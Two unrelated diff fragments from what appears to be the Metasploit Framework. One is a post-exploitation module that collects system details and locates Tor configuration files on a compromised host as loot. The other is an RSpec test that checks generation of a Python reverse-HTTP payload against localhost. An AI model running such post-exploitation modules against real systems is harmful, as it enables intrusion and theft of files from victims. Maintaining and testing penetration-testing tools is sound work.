print_status("Info:")
print_status("\t#{distro[:version]}")
print_status("\t#{distro[:kernel]}")
@@ -48,18 +48,9 @@ class MetasploitModule < Msf::Post
print_status("#{fname} stored in #{loot.to_s}")
end
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = cmd_exec("hostname").chomp
end
return host
end
def find_torrc
fail_with(Failure::BadConfig, "'locate' command does not exist") unless command_exists?('locate')
config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n")
if config.length == 0
print_error ("No torrc file found, maybe it goes by a different name?")
@@ -0,0 +1,68 @@
require 'spec_helper'
RSpec.describe Msf::Payload::Python::ReverseHttp do
def create_payload(info = {})
klass = Class.new(Msf::Payload)
klass.include Msf::Handler::ReverseHttp
klass.include Msf::Payload::Python
klass.include described_class
mod = klass.new(info)
datastore.each { |k, v| mod.datastore[k] = v }
mod
end
let(:datastore) do
{
'LHOST' => '127.0.0.1',
'HttpUserAgent' => 'HttpUserAgent',
}
end
let(:cached_size) { 500 }
let(:is_dynamic_size) { false }
before(:each) do
allow(subject).to receive(:cached_size).and_return(cached_size)
allow(subject).to receive(:dynamic_size?).and_return(is_dynamic_size)
end
describe '#generate' do
let(:subject) { create_payload }
context 'when the payload is static' do
let(:cached_size) { 500 }
let(:is_dynamic_size) { false }
context 'when available space is nil' do
it 'generates a payload' do
expect(subject.generate).to be_a(String)
end
end
context 'when available space is defined' do
it 'generates a payload' do
subject.available_space = 2000
expect(subject.generate).to be_a(String)
end
end
end
context 'when the payload is dynamic' do
let(:cached_size) { nil }
let(:is_dynamic_size) { true }
context 'when available space is nil' do
it 'generates a payload' do
expect(subject.generate).to be_a(String)
end
end
context 'when available space is defined' do
it 'generates a payload' do
subject.available_space = 2000
expect(subject.generate).to be_a(String)
end
end
end
end
end